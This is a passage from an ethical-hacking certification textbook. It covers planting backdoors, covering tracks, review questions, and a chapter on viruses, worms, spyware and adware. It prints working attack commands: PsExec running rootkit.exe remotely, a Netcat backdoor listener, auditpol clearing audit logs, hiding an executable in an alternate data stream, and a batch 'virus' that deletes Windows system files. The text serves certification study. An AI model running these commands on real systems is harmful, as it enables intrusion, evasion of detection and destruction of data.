attack the system. Backdoors can come in the form of rootkits, Trojans, and similar types.
They can even include software in the form of remote access Trojans (RATs).
Crackers Any software that fits into this category is characterized by the ability to crack
code or obtain passwords.
Keyloggers Keyloggers are hardware or software devices used to gain information
entered via the keyboard.
Malware This is any type of software designed to capture information, alter, or
compromise the system.
Planting a Backdoor
There are many ways to plant a backdoor on a system, but let’s look at one provided via
the PsTools suite. This suite includes a mixed bag of utilities designed to ease system
administration. Among these tools is PsExec, which is designed to run commands
interactively or noninteractively on a remote system. Initially, the tool may seem similar
to Telnet or Remote Desktop, but it does not require installation on the local or remote
system in order to work. To work, PsExec need only be copied to a folder on the local
system and run with the appropriate switches.
Let’s look at some of the commands you can use with PsExec:
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The following command launches an interactive command prompt on a system named
\\zelda: psexec \\zelda cmd.
This command executes ipconfig on the remote system with the /all switch and
displays the resulting output locally: psexec \\zelda ipconfig /all.
This command copies the program rootkit.exe to the remote system and executes it
interactively: psexec \\zelda -c rootkit.exe.
This command copies the program rootkit.exe to the remote system and executes it
interactively using the administrator account on the remote system: psexec \\zelda
-u administrator -c rootkit.exe.
As these commands illustrate, it is possible for an attacker to run an application on a
remote system quite easily. The next step is for the attacker to decide what to do or what
to run on the remote system. Some of the common choices are Trojans, rootkits, and
backdoors.
Other utilities that may prove helpful in attaching to a system remotely are the following:
PDQ Deploy This utility is designed to assist with the deployment of software to a single
system or to multiple systems across a network. The utility is designed to integrate with
Active Directory as well as other software packages.
RemoteExec This utility is designed to work much like PsExec, but it also makes it easy
to restart, reboot, and manipulate folders on the system.
DameWare This is a set of utilities used to remotely administer and control a system.
Much like the other utilities on this list, it is readily available and may not be detected by
antivirus utilities. DameWare also has the benefit of working across platforms such as
Windows, OS X, and Linux.
Netcat This utility is a simple yet effective application that can be used to open up
backdoors on a system when effectively planted onto a system. Exercise 7.7 demonstrates
how to use Netcat.
EXERCISE 7.7
Using Netcat
In this exercise you will see how to use Netcat to establish a connection to a remote
host. To perform this activity you will need to be running a Kali Linux client and have
a target system running Windows or Kali.
1. On the target system, start up Netcat by running the following command:
Nc –l –p 1313
This command tells Netcat to listen (-l) on a specific port (-p) set to 1313 (it
could be any number).
2. On the Kali client, initiate a connection to the target by issuing the following
command:
Nc <target ip address> 1313
This command tells the client to locate the target and connect to port 1313.
3. At the console window that appears, you can now enter commands that will be
executed on the remote system.
Covering Your Tracks
Once you have penetrated a system and installed software or run some scripts, the next
step is cleaning up after yourself or covering your tracks. The purpose of this phase is to
prevent your attack from being easily discovered by using various techniques to hide the
red flags and other signs. During this phase, you seek to eliminate error messages, log
files, and other items that may have been altered during the attack process.
Disabling Auditing
One of the best ways to prevent being discovered is to leave no tracks at all. And one of
the best ways to do that is to prevent any tracks from being created or at least minimize
the amount of evidence. When you’re trying not to leave tracks, a good starting point is
altering the way events are logged on the targeted system.
Disabling auditing on a system prevents certain events from appearing and therefore
slows detection efforts. Remember that auditing is designed to allow the detection and
tracking of selected events on a system. Once auditing is disabled, you have effectively
deprived the defender of a great source of information and forced them to seek other
methods of detection.
In the Windows environment, you can disable auditing with the auditpol command.
Using the NULL session technique you saw during your enumeration activities, you can
attach to a system remotely and run the command as follows:
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auditpol \\<ip address of target> /clear
You can also perform what amounts to the surgical removal of entries in the Windows
Security Log, using tools such as the following:
Dump Event Log
ELSave
WinZapper
CCleaner
Wipe
MRU-Blaster
Tracks Eraser Pro
Clear My History
Data Hiding
There are other ways to hide evidence of an attack, including hiding the files placed on the
system such as EXE files, scripts, and other data. Operating systems such as Windows
provide many methods you can use to hide files, including file attributes and alternate
data streams.
File attributes are a feature of operating systems that allows files to be marked as having
certain properties, including read-only and hidden. Files can be flagged as hidden, which
is a convenient way to hide data and prevent detection through simple means such as
directory listings or browsing in Windows Explorer. Hiding files this way does not provide
complete protection, however, because more advanced detective techniques can uncover
files hidden in this manner.
Alternate Data Streams
A very effective method of hiding data on a Windows system is also one of the lesserknown ones: Alternate Data Streams (ADS). This feature is part of NTFS and has been
since the 1990s, but since its introduction it has received little recognition; this makes it
both useful for an attacker who is knowledgeable and dangerous for a defender who
knows little about it.
Originally, this feature was designed to ensure interoperability with the Macintosh
Hierarchical File System (HFS), but it has since been used for other purposes. ADS
provides the ability to fork or hide file data within existing files without altering the
appearance or behavior of a file in any way. In fact, when you use ADS, you can hide a file
from all traditional detection techniques as well as dir and Windows Explorer.
In practice, the use of ADS is a major security issue because it is nearly a perfect
mechanism for hiding data. Once a piece of data is embedded and hidden using ADS, it
can lie in wait until the attacker decides to run it later.
The process of creating an ADS is simple, as an example let’s hide a file named triforce
into a file called smoke.doc:
type triforce.exe > smoke.doc:triforce.exe
Executing this command hides the file triforce.exe behind the file smoke.doc. At this
point, the file is streamed. The next step is to delete the original file that you just
hid, triforce.exe.
As an attacker, retrieving the file is as simple as this:
start smoke.doc:triforce.exe
This command has the effect of opening the hidden file and executing it.
As a defender, this sounds like bad news, because files hidden this way are impossible to
detect using most means. But by using some advanced methods, they can be detected.
Tools that you can use to do this include the following:
SFind—A forensic tool for finding streamed files
LNS—Used for finding ADS streamed files
Tripwire—Used to detect changes in files; by nature can detect ADS
ADS is available only on NTFS volumes, although the version of NTFS
does not matter. This feature does not work on other file systems.
Summary
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This chapter covered the process of gaining access to a system. We started by looking at
how to use the information gathered during the enumeration process as inputs into the
system-hacking process. You gathered information in previous phases with little or no
interaction or disturbance of the target, but in this phase you are finally actively
penetrating the target and making an aggressive move. Information brought into this
phase includes usernames, IP ranges, share names, and system information.
An attacker who wants to perform increasingly aggressive and powerful actions needs to
gain greater access. This is done by attempting to obtain passwords through brute force,
social engineering, guessing, or other means. Once an attacker has obtained or extracted a
password for a valid user account from a system, they can then attempt to escalate their
privileges either horizontally or vertically in order to perform tasks with fewer restrictions
and greater power.
When an account with greater power has been compromised, the next step is to try to
further breach the system. An attacker at this point can try more damaging and serious
actions by running scripts or installing software on the system that can perform any sort
of action. Common actions that an attacker may attempt to carry out include installing
keyloggers, deploying malware, installing remote access Trojans, and creating backdoors
for later access.
Finally, an attacker will attempt to cover their tracks in order to avoid having the attack
detected and stopped. An attacker may attempt to stop auditing, clear event logs, or
surgically remove evidence from log files. In extreme cases, an attacker may even choose
to use features such as Alternate Data Streams to conceal evidence.
Exam Essentials
Understand the process of gaining access to a system. Make sure you can identify
the process of system hacking, how it is carried out against a system, and what the results
are for the attacker and the defender.
Know the different types of password cracking. Understand the differences
between the types of password cracking and hacking techniques. Understand the
difference between online and offline attacks as well as nontechnical attacks. Know how
accounts are targeted based on information obtained from the enumeration phase.
Understand the difference between horizontal and vertical privilege
escalation. Two methods are available for escalating privileges: horizontal and vertical
escalation. Horizontal escalation involves compromising an account with similar
privileges, and vertical escalation attempts to take over an account with higher privileges.
Identify the methods of covering your tracks. Understand why covering your tracks
is so important. When an attack is carried out against a system, the attacker typically
wants to maintain access as long as possible. In order to maintain this access, they cover
their tracks thoroughly to delay the detection of their attack as long as possible.
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Review Questions
1. Enumeration is useful to system hacking because it provides __________.
A. Passwords
B. IP ranges
C. Configuration
D. Usernames
2. What does the enumeration phase not discover?
A. Services
B. User accounts
C. Ports
D. Shares
3. How would you use Netcat to set up a server on a system?
A. nc –l –p 192.168.1.1
B. nc –l –p 1000
C. nc –p –u 1000
D. nc –l –p –t 192.168.1.1
4. __________ is the process of exploiting services on a system.
A. System hacking
B. Privilege escalation
C. Enumeration
D. Backdoor
5. How is a brute-force attack performed?
A. By trying all possible combinations of characters
B. By trying dictionary words
C. By capturing hashes
D. By comparing hashes
6. A __________ is a type of offline attack.
A. Cracking attack
B. Rainbow attack
C. Birthday attack
D. Hashing attack
7. An attacker can use a(n) __________ to return to a system.
A. Backdoor
B. Cracker
C. Account
D. Service
8. A __________ is used to represent a password.
A. NULL session
B. Hash
C. Rainbow table
D. Rootkit
9. A __________ is a file used to store passwords.
A. Network
B. SAM
C. Database
D. NetBIOS
10. __________ is a hash used to store passwords in older Windows systems.
A. LM
B. SSL
C. SAM
D. LMv2
11. __________ is used to partially encrypt the SAM.
A. SYSKEY
B. SAM
C. NTLM
D. LM
12. Which system should be used instead of LM or NTLM?
A. NTLMv2
B. SSL
C. Kerberos
D. LM
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13. NTLM provides what benefit versus LM?
A. Performance
B. Security
C. Mutual authentication
D. SSL
14. ADS requires what to be present?
A. SAM
B. Domain
C. NTFS
D. FAT
15. What utility may be used to stop auditing or logging of events?
A. ADS
B. LM
C. NTFS
D. Auditpol
16. On newer Windows systems, what hashing mechanism is disabled?
A. Kerberos
B. LM
C. NTLM
D. NTLMv2
17. Which of the following is a utility used to reset passwords?
A. TRK
B. ERC
C. WinRT
D. IRD
18. A good defense against password guessing is __________.
A. Complex passwords
B. Password policy
C. Fingerprints
D. Use of NTLM
19. If a domain controller is not present, what can be used instead?
A. Kerberos
B. LM
C. NTLMv1
D. NTLMv2
20. Alternate Data Streams are supported in which file systems?
A. FAT16
B. FAT32
C. NTFS
D. CDFS
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Chapter 8
Malware
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CEH EXAM TOPICS COVERED IN THIS CHAPTER:
I. Background
E. Malware operations
XII. Tools/Systems/Programs
P. Antivirus systems and programs
One of the prominent problems that has emerged with the spread of
technology is malware. Malware is a term that covers viruses, worms, Trojans, and logic
bombs as well as adware and spyware. These types of malware have caused a number of
problems over the years, ranging from simple annoyances to dangerous and malicious
exploits. Software that fits in the category of malware has evolved dramatically to now
include the ability to steal passwords, personal information, and identities as well as
damage hardware in some cases (as Stuxnet did).
Malware is a newer, blanket term, but the software types that it covers are far from new.
Viruses and worms are some of the oldest forms of malicious software in existence. What
has changed is the power of the technology, the creativity of the designers, and the effect
of new distribution methods, such as more-complex networks, peer-to-peer file sharing,
always-on Internet connections, and other mechanisms that have come to the forefront
over the years.
This chapter also explores covert channels, the use of which has gradually increased.
These channels are unknown, unmonitored components of a system that can be exploited
to gain access to the system. Through the use of a covert channel, an attacker may be able
to successfully gain access to a system without the owner’s knowledge or to delay
detection so much that by the time the entry point is discovered, it is too late for the
defender to do anything about it.
This chapter covers the following topics:
Trojans
Viruses
Worms
Using covert channels
Creating covert channels
Distributing malware
Working with logic bombs
Malware
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Malware is a term that is frequently used but frequently misapplied, so let’s first clarify
its meaning. The term malware is short for malicious software, which accurately explains
what this class of software is designed to do: perform malicious and disruptive actions.
In past decades, what we now call malware was not so vicious in nature; it was more
benign. Software in this class was able to infect, disrupt, disable, and in some cases
corrupt other software, including the operating system. However, it generally just
annoyed and irritated system owners; nastier forms were rare.
In recent years, though, this software category has come to include applications that are
much more malignant. Current malware is designed to stay stealthy in many cases and
employs a myriad of features designed to thwart detection by the increasingly complex
and accurate antimalware systems, such as antivirus software and antispyware. What
hasn’t changed is the fact that malware consumes resources and power on a host system
or network, all the while keeping the owner in the dark as to its existence and activities.
Making the situation worse in today’s world is that current malware types have been
influenced by the criminal element. The creation of botnets and theft of information are
becoming all too common.
Malware is a contraction of malicious software. Keep this in mind. The
term accurately describes the purpose of this type of software.
If we define malware to include any software that performs actions without the
user’s knowledge or consent, this could include a large amount of software on the
average system. It is also important to recognize that most malware is hostile in
nature. Criminals use malware in a variety of ways to capture information about the
victim or commit other acts. As technology has evolved, so has malware, from the
annoying to the downright malicious.
Another aspect of malware that has emerged is its use to steal information. Malware
programs have been known to install what is known as a keylogger on a system. The
intention is to capture keystrokes as they’re entered, with the intention of gathering
information such as credit card numbers, bank account numbers, and similar
information. For example, malware has been used to steal information from those
engaging in online gaming, to obtain players’ game account information.
In the Crosshairs
One of the highest profile incidents concerning the dangers of malware involves the
U.S.-based retailer Target. In late November through early December 2013, Target
became the victim of a data breach that compromised at least 110 million customer
accounts: an estimated 40 million included credit, debit, and PIN information, and
the remaining 70 million involved name, address, email, and phone information.
This attack, the fallout of which is still being assessed, represents the second-largest
data breach in history.
What enabled this breach? Initial reports point strongly to the fact that the attack
was made possible, at least in part, by malware that found its way onto the point-ofsale systems used at checkout.
The aftermath of this attack was manifold. Target’s public image was tarnished, its
stock price hit a new 52-week low, and sales dropped as customers questioned
whether they could trust Target with their information. In addition, Target had to
offer credit monitoring to its customers, and many of those same customers’ credit
cards and associated accounts were closed and reissued by their banks as a
precautionary measure. Finally, the U.S. Congress initiated hearings in the Senate to
find out more about the breach, with assistance from the U.S. Secret Service and
Federal Trade Commission.
Another interesting footnote to this incident is the flow of information that has been
available in the aftermath. The scope of the attack and the fact that it was
unprecedented caught the retail industry, as a whole, off guard. This resulted in a lot
of information about the attack becoming public in the hours and days following the
detection and reporting of the breach. As days extended into weeks and months and
now into years, many of the initial reports vanished from the web, and sources have
gone quiet. Although it may seem fishy that such information would disappear, the
intention was benign. Much of the detailed information that was reported was
removed so as not to interfere with the ongoing investigation and to prevent a
potential copycat from carrying out another attack (or at least make it tougher to do).
The wisdom of this move is still being debated, but it highlights one of the issues of
being an ethical hacker: You must be careful with information and mindful of the
harm that can be caused if it falls into the wrong hands.
Malware and the Law
Ethical hackers should be mindful of the web of laws that relates to the deployment and
use of malware. Over the years, malware has been subjected to increasing legal attention
as the technology has evolved from being harmless to much more malicious and
expansive in its abilities. The creation and use of malware have led to the enactment of
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some very strict laws; many countries have passed or modified laws to deter the use of
malware. In the United States, the laws that have been enacted include the following:
The Computer Fraud and Abuse Act This law was originally passed to address federal
computer-related offenses and the cracking of computer systems. The act applies to cases
that involve federal interests, or situations involving federal government computers or
those of financial institutions. In addition, the law covers computer crime that crosses
state lines or jurisdictions.
The Patriot Act This act expanded on the powers already included in the Computer
Fraud and Abuse Act. The law provides penalties of up to 10 years for a first offense and
20 years for a second offense. It assesses damages to multiple systems over the course of
a year to determine if such damages are more than $5,000 total.
It is worth noting that The Patriot Act expired on June 1, 2015. However, on June 2, 2015,
several provisions of the Patriot Act were restored in modified form as part of the USA
Freedom Act.
CAN-SPAM Act This law was designed to thwart the spread of spam: mass-mailed
messages that harass or irritate the recipient into purchasing products or services.
Each country has approached the problem of malware a little differently,
with penalties ranging from jail time to potentially steep fines for violators. In the
United States, states such as California, West Virginia, and a host of others have put
in place laws designed to punish malware perpetrators. Although the laws have
different penalties designed to address malware’s effects, it has yet to be seen how
effective these laws are.
Categories of Malware
As stated earlier in this chapter, malware is an extremely broad term that blankets a
range of software packages. We can say that malware is anything that steals resources,
time, identity, or just about anything else while it is in operation. In order to understand
what malware is, let’s look at the major types before we delve deeper into the mechanics
of each:
Viruses are by far the best-known form of malicious software. This type of malware is
designed to replicate and attach itself to other files resident on the system. Typically,
viruses require some sort of user action to initiate their infectious activities.
Worms are a successor to viruses. The worm has been around in some shape or form
since the late 1980s. The first worms were primitive by today’s standards, but they had
a characteristic that is still seen today: the ability to replicate on their own very
quickly. Worms that have emerged over the past decade or so have been responsible
for some of the most devastating denial-of-service attacks known.
Trojan horses are a special type of malware that relies in large part on socialengineering techniques to start infecting a system and causing harm while appearing
to look like a legitimate program. Similar to a virus in many respects, this malware
relies on the user being somehow enticed into launching the infected program or
wrapper, which in turn starts the Trojan.
Rootkits are a modern form of malware that can hide within the core components of a
system and stay undetected by modern scanners. What makes rootkits most
devastating is that they can be extremely difficult to detect and even more difficult to
remove.
Spyware is malware designed to gather information about a system or a user’s
activities in a stealthy manner. Spyware comes in many forms; among the most
common are keyloggers.
Adware is malware that may replace home pages in browsers, place pop-up ads on a
user’s desktop, or install items on a victim’s system that are designed to advertise
products or services.
Each of these types of malware has its own traits, which you explore and learn to exploit
in this chapter.
Viruses
A virus represents the oldest form of malware and is by far the best known to the public.
But what is a virus? What separates a virus from other forms of malware? How is a virus
created, and how does it target its victim? This section explores these questions and how
they affect you, the ethical hacker.
The first code that could be classified as a virus arrived way back in 1970
in the form of the Creeper project. This project implemented capabilities such as
replication and the ability to infect a system. The project also spawned another virus
known as the reaper, which removed the Creeper from any system infected with the
code.
The Life and Times of a Virus
Let’s explore what it means to be a virus before we get too far along. Simply put, a virus is
a self-replicating application that attaches itself to other executable programs. Many
viruses affect the host as soon as they are executed; others lie in wait, dormant, until a
predetermined event or time, before carrying out their instructions. What does the virus
do then? Many potential actions can take place, such as these:
Altering data
Infecting other programs
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Replicating
Encrypting itself
Transforming itself into another form
Altering configuration settings
Destroying data
Corrupting or destroying hardware
Viruses are not restricted to the actions listed here and can easily perform
a wide range of potential activities. The authors of malware are constantly developing
and refining their craft, so you must be ever vigilant in order to pick up the new
variations.
The process of developing a virus is very methodical. The author is concerned with
creating an effective virus that can be spread easily. The process occurs in six steps:
1. Design—The author envisions and creates the virus. The author may choose to create
the virus completely from scratch or use one of the many construction kits that are
available to create the virus of their choice.
2. Replication—Once deployed, the new virus spreads through replication: multiplying
and then ultimately spreading to different systems. How this process takes place
depends on the author’s original intent, but the process can be very rapid, with new
systems becoming infected in short order.
3. Launch—The virus starts to do its dirty work by carrying out the task for which it was
created (such as destroying data or changing a system’s settings). Once the virus
activates through a user action or other predetermined action, the infection begins.
4. Detection—The virus is recognized as such after infecting systems for some period of
time. During this phase, the nature of the infection is typically reported to antivirus
makers, who begin their initial research into how the software works and how to
eradicate it.
5. Incorporation—The antivirus makers determine a way to identify the virus and
incorporate the process into their products through updates. Typically, the newly
identified malware is incorporated into signature files, which are downloaded and
installed by the antivirus application.
6. Elimination—Users of the antivirus products incorporate the updates into their
systems and eliminate the virus.
It is important to realize that this process is not linear: It is a loop or cycle. When step 6 is
reached, the whole process starts over at step 1 with another round of virus development.
Why do people create viruses? There are a number of reasons, such as
curiosity, hacktivism, showing off, and many others that may or may not make sense
to an outsider. As a pentester, you may find that creating a virus is something you
need to do in order to properly test defensive systems.
All viruses are not created equal. Each may be created, deployed, and activated in different
ways, with drastically different goals in mind, for example:
In the mid-1970s, a new feature was introduced in the Wabbit virus. This virus
represented a change in tactics and demonstrated one of the features associated with
modern-day viruses: replication. The virus replicated on the same computer over and
over again until the system was overrun and eventually crashed.
In 1982, the first virus seen outside academia debuted in the form of the Elk Cloner
virus. This piece of malware debuted another feature of later viruses—the ability to
spread rapidly and remain in the computer’s memory to cause further infection. Once
resident in memory, it infected floppy disks placed into the system, as many later
viruses would do. Nowadays, this virus would be spread across USB devices such as
flash drives.
Four short years later, the first PC-compatible virus debuted. The viruses prior to this
point were Apple II types or designed for specific research networks. In 1986, the first
boot-sector viruses debuted, demonstrating a technique later seen on a much wider
scale. This type of virus infected the boot sector of a drive and spread its infection
when the system was going through its boot process.
The first logic bomb debuted in 1987: the Jerusalem virus. This virus was designed to
cause damage only on a certain date: Friday the 13th. The virus was so named because
of its initial discovery in Jerusalem.
Multipartite viruses made their appearance in 1989 in the Ghostball virus. This virus
was designed to cause damage using multiple methods and components, all of which
had to be neutralized and removed to clear out the virus effectively.
Polymorphic viruses first appeared in 1992 as a way to evade early virus-detection
techniques. Polymorphic viruses are designed to change their code and shape to avoid
detection by virus scanners, which look for a specific virus code and not the new
version. Polymorphic viruses employ a series of techniques to change or mutate,
including the following:
Polymorphic engine—Alters or mutates the device’s design while keeping intact the
payload (the part that does the damage).
Encryption—Used to scramble or hide the damaging payload, keeping antivirus
engines from detecting it.
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When deployed, this type of virus mutates every time it is executed and may result
in up to a 90 percent change in code, making it virtually unidentifiable to an
antivirus engine.
Metamorphic viruses completely rewrite themselves on each infection. The
complexity of these viruses is immense, with up to 90 percent of their code dedicated
to the process of changing and rewriting the payload. In essence, this type of virus
possesses the ability to reprogram itself. Through this process, such viruses can avoid
detection by antivirus applications.
Mocmex—Fast-forward to 2008. Mocmex was shipped on digital photo frames
manufactured in China. When the virus infected a system, the system’s firewall and
antivirus software were disabled; then the virus attempted to steal online-game
passwords.
Kinds of Viruses
Modern viruses come in many varieties:
A system or boot sector virus is designed to infect and place its own code into the
master boot record (MBR) of a system. Once this infection takes place, the system’s
boot sequence is effectively altered, meaning the virus or other code can be loaded
before the system itself. Post-infection symptoms such as startup problems, problems
with retrieving data, computer performance instability, and the inability to locate hard
drives are all issues that may arise.
Macro viruses debuted in force around 2000. They take advantage of embedded
languages such as Visual Basic for Applications (VBA). In applications such as
Microsoft Excel and Word, these macro languages are designed to automate functions
and create new processes. The problem with these languages is that they lend
themselves very effectively to abuse; in addition, they can easily be embedded into
template files and regular document files. Once the macro is run on a victim’s system,
it can do all sorts of things, such as change a system configuration to decrease security
or read a user’s address book and email to others (which happened in some early
cases). A prime example of this type of virus is the Melissa virus of the late 1990s.
Cluster viruses are another variation of the family tree that carries out its dirty work
in yet another original way. This virus alters the file-allocation tables on a storage
device, causing file entries to point to the virus instead of the real file. In practice, this
means that when a user runs a given application, the virus runs before the system
executes the actual file.
Making this type of virus even more dangerous is the fact that infected drive-repair
utilities cause problems of an even more widespread variety. Utilities such as
ScanDisk may even destroy sections of the drive or eliminate files.
A stealth or tunneling virus is designed to employ various mechanisms to evade
detection systems. Stealth viruses employ unique techniques including intercepting
calls from the OS and returning bogus or invalid responses that are designed to fool or
mislead.
Encryption viruses are a newcomer to the scene. They can scramble themselves to
avoid detection. This virus changes its program code, making it nearly impossible to
detect using normal means. It uses an encryption algorithm to encrypt and decrypt the
virus multiple times as it replicates and infects. Each time the infection process
occurs, a new encryption sequence takes place with different settings, making it
difficult for antivirus software to detect the problem.
Cavity or file-overwriting viruses hide in a host file without changing the host file’s
appearance, so detection becomes difficult. Many viruses that do this also implement
stealth techniques, so you don’t see the increase in file length when the virus code is
active in memory.
Sparse-infector viruses avoid detection by carrying out their infectious actions only
sporadically, such as on every 10th or 25th activation. A virus may even be set up to
infect only files of a certain length or type or that start with a certain letter.
A companion or camouflage virus compromises a feature of OSs that enables software
with the same name, but different extensions, to operate with different priorities. For
example, you may have program.exe on your computer, and the virus may create a file
called program.com. When the computer executes program.exe, the virus runs
program.com before program.exe is executed. In many cases, the real program runs, so
users believe the system is operating normally and aren’t aware that a virus was run
on the system.
A logic bomb is designed to lie in wait until a predetermined event or action occurs.
When this event occurs, the bomb or payload detonates and carries out its intended or
designed action. Logic bombs have been notoriously difficult to detect because they do
not look harmful until they are activated—and by then, it may be too late. In many
cases, the bomb is separated into two parts: the payload and the trigger. Neither looks
all that dangerous until the predetermined event occurs.
File or multipartite viruses infect systems in multiple ways using multiple attack
vectors, hence the term multipartite. Attack targets include the boot sector and
executable files on the hard drive. What makes such viruses dangerous and powerful
weapons is that to stop them, you must remove all of their parts. If any part of the
virus is not eradicated from the infected system, it can reinfect the system.
Shell viruses are another type of virus where the software infects the target
application and alters it. The virus makes the infected program into a subroutine that
runs after the virus itself runs.
Cryptoviruses hunt for files or certain types of data on a system and then encrypt it.
Then the victim is instructed to contact the virus creator via a special email address or
other means and pay a specified amount (ransom) for the key to unlock the files.
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A hoax is not a true virus in the sense of the others discussed here, but we need to cover
this topic because a hoax can be just as powerful and devastating as a virus. Hoaxes are
designed to make the user take action even though no infection or threat exists.
The following example is an email that actually is a hoax:
Please Forward this Warning among Friends, Family, and Contacts
You should be on alert during the next days: Do not open any message with an
attached filed called “Invitation” regardless of who sent it. It is a virus that opens an
Olympic Torch, which “burns” the whole hard disk C of your computer. This virus
will be received from someone who has your email address in his/her contact list.
That is why you should send this email to all your contacts. It is better to receive this
message 25 times than to receive the virus and open it. If you receive an email called
“Invitation,” though sent by a friend, do not open it and shut down your computer
immediately.
This is the worst virus announced by CNN; it has been classified by Microsoft as the
most destructive virus ever. This virus was discovered by McAfee yesterday, and
there is no repair yet for this kind of virus. This virus simply destroys the Zero Sector
of the Hard Disk, where the vital information is kept. SEND THIS E-MAIL TO
EVERYONE YOU KNOW, COPY THIS E-MAIL AND SEND IT TO YOUR FRIENDS
AND REMEMBER: IF YOU SEND IT TO THEM, YOU WILL BENEFIT ALL OF US.
How to Create a Virus
Creating a virus is a process that can be very complicated or something that happens with
a few button clicks (see Exercise 8.1). Advanced programmers may choose to code the
malware from scratch. The less savvy or experienced may have to pursue other options,
such as hiring someone to write the virus, purchasing code, or using an “underground”
virus-maker application.
EXERCISE 8.1
Creating a Simple Virus
So, let’s write a simple virus. You need access to Notepad and bat2com, the latter of
which you can find on the Internet.
Before you get started, here’s a warning: Do not execute this virus. This exercise is
meant to be a proof of concept and for illustrative purposes only. Executing this code
on your system could result in damage to your system that may require extensive
time and skill to fix properly. With that said, follow these steps:
1. Create a batch file called virus.bat using Windows Notepad.
2. Enter the following lines of code:
@echo off
Del c:\windows\system32\*.*
Del c:\windows\*.*
3. Save virus.bat.
4. From the command prompt, use bat2com to convert virus.bat into virus.com.
Another way to create a virus is to use a utility such as JPS Virus Maker. It is a simple
utility in which you pick options from a GUI and then choose to create a new executable
file that can be used to infect a host. Figure 8.1 shows the interface for JPS Virus Maker.
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Figure 8.1 JPS Virus Maker user interface
Researching Viruses
There are many defensive techniques for fighting malware, many of which we will discuss
later in this chapter, but what about researching new malware? If you need to investigate
and analyze malware in addition to defending against it, you should know about a
mechanism known as a sheep-dip system. A sheep-dip system is a computer that is
specifically configured to analyze files. The system typically is stripped down and includes
only those services and applications needed to test software to ascertain whether it is
safe.
Outside of computing, the term sheep dip refers to farmers’ practice of
dipping sheep in special fungicides and other medicines to keep parasites and
infections from spreading through the herd—much as a piece of software is analyzed
before being introduced into the network in order to prevent a mass infection of host
systems.
Worms
When we speak of viruses, the topic of worms is not far behind. They are another major
menace. Unlike viruses, which by definition require some sort of action to occur in order
to trigger their mischief, worms are entirely self-replicating. Worms effectively use the
power of networks, malware, and speed to spread very dangerous and effective pieces of
malware.
One example is the SQL Slammer worm from the early 2000s. At the time, the Slammer
worm was responsible for widespread slowdowns and severe denials of services on the
Internet. The worm took advantage of the fact that systems that had SQL Server or SQL
Server’s Desktop products were vulnerable to a buffer overflow. Although Microsoft had
released a patch six months prior to the worm’s debut, many organizations had neglected
to install the patch. With this vulnerability still present on so many systems, the
conditions for the attack were ripe. On the morning of January 25, 2003, the worm went
active—and within 10 minutes, 75,000 machines were infected, along with many more
over the next few hours.
A Closer Look at Slammer
At the peak of its activity, Slammer was doubling the number of infected systems
every 8.5 seconds. This heretofore unheard-of replication rate was 250 times faster
than that of the previous record holder, Code Red.
Slammer was able to spread so quickly thanks to a number of factors related to how
it was constructed and the environment into which it was deployed. Many systems
were left unpatched, despite the availability of a fix, resulting in a fertile environment
for exploitation. Many routers on the Internet buckled and crashed under the intense
traffic that resulted from the worm. As a result of routers failing, traffic was rerouted,
and routing tables updated on other routers, which resulted in additional failures. In
addition, the entire worm (376 bytes) could be contained within a single User
Datagram Protocol (UDP) packet, allowing it to quickly replicate and be sent to other
victims.
The Functioning of Computer Worms
Worms are an advanced form of malware, compared to viruses, and have different goals
in many cases. One of the main characteristics of worms is their inherent ability to
replicate and spread across networks extremely quickly, as the previous Slammer example
demonstrated. Most worms share certain features that help define how they work and
what they can do:
Do not require a host application to perform their activities.
Do not necessarily require any user interaction, direct or otherwise, to function.
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Replicate extremely rapidly across networks and hosts.
Consume bandwidth and resources.
Consuming bandwidth and resources may or may not indicate a worm.
Any such slowdown needs to be investigated further to determine if it is caused by a
worm.
Worms can also perform some other functions:
Transmit information from a victim system back to another location specified by the
designer.
Carry a payload, such as a virus, and drop off this payload on multiple systems rapidly.
With these abilities in mind, it is important to distinguish worms from viruses by
considering a couple of key points:
A worm can be considered a special type of malware that can replicate and consume
memory, but at the same time it does not typically attach itself to other applications or
software.
A worm spreads through infected networks automatically and requires only that a host
is vulnerable. A virus does not have this ability.
Worms can be created using the same types of techniques we explored
earlier with viruses. You can create a worm either by coding it yourself or by using
one of the many point-and-click utilities available.
Spyware
Spyware is a type of malware that is designed to collect and forward information
regarding a victim’s activities to an interested party. The defining characteristic is that the
application acts behind the scenes to gather this information without the user’s consent
or knowledge.
The information gathered by spyware can be anything that the creator of the spyware
feels is worthwhile. Spyware has been used to target ads, steal identities, generate
revenue, alter systems, and capture other information. In addition, it is not unheard of for
spyware to open the door for later attacks that may perform tasks such as downloading
software and so on.
Methods of Spyware Infection
Spyware can be placed on a system in a number of different ways, each offering its own
benefits. Once the software is installed, it stays hidden and carries out its goals. Methods
of infection include, but are not limited to, the following:
Peer-to-Peer Networks (P2P) This delivery mechanism has become very popular
because of the increased number of individuals using these networks to obtain free
software.
Instant Messaging (IM) Delivering malicious software via IM is easy. Plus, IM
software has never had much in the way of security controls.
Internet Relay Chat (IRC) IRC is a commonly used mechanism to deliver messages
and software because of its widespread use and the ability to entice new users to
download software.
Email Attachments With the rise of email as a communication medium, the practice of
using it to distribute malware has also risen.
Physical Access Once an attacker gains physical access, it becomes relatively easy to
install spyware and compromise the system.
Browser Defects Many users forget or do not choose to update their browsers as soon
as updates are released, so distribution of spyware becomes easier.
Freeware Downloading software for free from unknown or untrusted sources can mean
that you also download something nastier, such as spyware.
Websites Software is sometimes installed on a system via web browsing. When a user
visits a given website, spyware may be downloaded and installed using scripting or some
other means.
Spyware installed in this manner is quite common, because web browsers lend
themselves to this process. They are frequently unpatched, do not have upgrades applied,
or are incorrectly configured. In most cases, users do not use the most basic security
precautions that come with a browser; and sometimes users override security options to
get a better browsing experience or to see fewer pop-ups or prompts.
Software Installations One common way to install software such as spyware on a
victim’s system is as part of another software installation. In these situations, a victim
downloads a piece of software that they want, but packaged with it is a payload that is
silently installed in the background. The victim may be told that something else is being
installed on the system but may click through the installation wizard so quickly without
reading anything that they miss the fact that additional software is being placed on their
system.
Adware
Adware is a well-known type of malware. Many systems are actively infected with this
type of malware from the various installations and other activities they perform. When
this type of software is deployed onto a victim’s system, it displays ads, pop-ups, and nag
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screens and may even change the start page of the browser.
Typically, this type of software is spread either through a download with other software or
when the victim visits a website that deploys it stealthily onto their system.
Sometimes adware is deployed onto a victim’s system along with
legitimate software by a developer who is paid to include the malware in the
distribution. Although this practice is not necessarily malicious in the purest sense, it
still fits the definition of malware, because many victims are not aware that they are
allowing this additional item to be installed.
Scareware
A relatively new type of software is scareware. This type of malware warns the victim of
potential harm that could befall them if they don’t take some action. Typically, this action
involves providing a credit card number or doing something else to buy a utility they
